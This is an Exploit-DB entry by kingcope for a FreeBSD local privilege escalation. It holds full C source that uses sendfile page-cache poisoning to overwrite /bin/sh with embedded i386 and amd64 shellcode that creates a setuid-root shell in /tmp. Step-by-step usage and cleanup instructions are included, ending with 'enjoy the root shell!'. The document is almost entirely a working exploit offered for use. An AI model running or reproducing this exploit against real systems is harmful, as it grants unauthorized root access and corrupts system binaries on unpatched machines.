FreeBSD - 'mbufs()' sendfile Cache Poisoning Privilege Escalation

EDB-ID:

14688


Author:

kingcope

Type:

local


Platform:

FreeBSD

Date:

2010-08-19


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/*  freebsd x86/x64 sendfile cache local root xpl v2

 by Kingcope
 2010
 --

 should h4x any freebsd 8.* and 7.* prior to 12Jul2010

 tampers /bin/sh to contain a shellcode which does
 '
 chmod a+s /tmp/sh
 chown root /tmp/sh
 execve /tmp/sh2
 '

 how to use:

 terminal 1:
 $ cp /bin/sh /tmp/sh
 $ cp /bin/sh /tmp/sh2
 $ gcc cache.c -o cache

 terminal 2:
 $ nc -l 7030

 terminal 1:
 for i386 arch type:
 $ ./cache i386
 for amd64 arch type:
 $ ./cache amd64

 now wait

 /bin/sh should be execed by the system as root in ~5 mins

 then do:
 $ /tmp/sh
 #

 cleanup:
 # cp -f /tmp/sh2 /bin/sh
 #

 enjoy the root shell!
*/
// this juarez is now private on #darknet --
// http://www.youtube.com/watch?v=JtgInqNNpCI
// http://www.youtube.com/watch?v=IdbRWrY4QBI

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

main (int argc, char *argv[]) {
        int s, f, k2;
        struct sockaddr_in addr;
        int flags;
        char str32[]=
"\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
"\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
"\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
"\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
        char str64[]=
"\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68"
"\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
"\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0"
"\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89"
"\xe7\x57\x52\x48\x89\xe6\x0f\x05";

        char buf[10000];

        char *p;
        struct stat sb;
        int n;
        fd_set wset;
        int64_t size;
        off_t sbytes;
        off_t sent = 0;
        int chunk;
        int arch = 3;

        if (argc != 2) {
                printf("define architecture i386 or amd64\n");
                return;
        }

        if (strcmp(argv[1], "i386") == 0)
                arch=1;

        if (strcmp(argv[1], "amd64") == 0)
                arch=2;

        if (arch == 3) {
                printf("define architecture i386 or amd64\n");
                return;
        }

        s = socket(AF_INET, SOCK_STREAM, 0);
        bzero(&addr, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_port = htons(7030);
        addr.sin_addr.s_addr = inet_addr("127.0.0.1");

        n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
        if (n < 0)
                warn ("fail to connect");

        f = open("/bin/sh", O_RDONLY);
        if (f<0)
                warn("fail to open file");
        n = fstat(f, &sb);
        if (n<0)
                warn("fstat failed");

        size = sb.st_size;
        chunk = 0;

        flags = fcntl(f, F_GETFL);
        flags |= O_NONBLOCK;
        fcntl(f, F_SETFL, flags);

        while (size > 0) {

                FD_ZERO(&wset);
                FD_SET(s, &wset);
                n = select(f+1, NULL, &wset, NULL, NULL);
                if (n < 0)
                        continue;

                if (chunk > 0) {
                        sbytes = 0;
                        if (arch == 1)
                         n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
                        if (arch == 2)
                         n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0);
                        if (n < 0)
                                continue;
                        chunk -= sbytes;
                        size -= sbytes;
                        sent += sbytes;
                        continue;
                }

                chunk = 2048;

                memset(buf, '\0', sizeof buf);
                if (arch == 1) {
                        for (k2=0;k2<256;k2++) {
                                buf[k2] = 0x90;
                        }
                        p = buf;
                        p = p + k2;
                        memcpy(p, str32, sizeof str32);

                        n = k2 + sizeof str32;
                        p = buf;
                }

                if (arch == 2) {
                        for (k2=0;k2<100;k2++) {
                                buf[k2] = 0x90;
                        }
                        p = buf;
                        p = p + k2;
                        memcpy(p, str64, sizeof str64);

                        n = k2 + sizeof str64;
                        p = buf;
                }

                write(s, p, n);
        }
}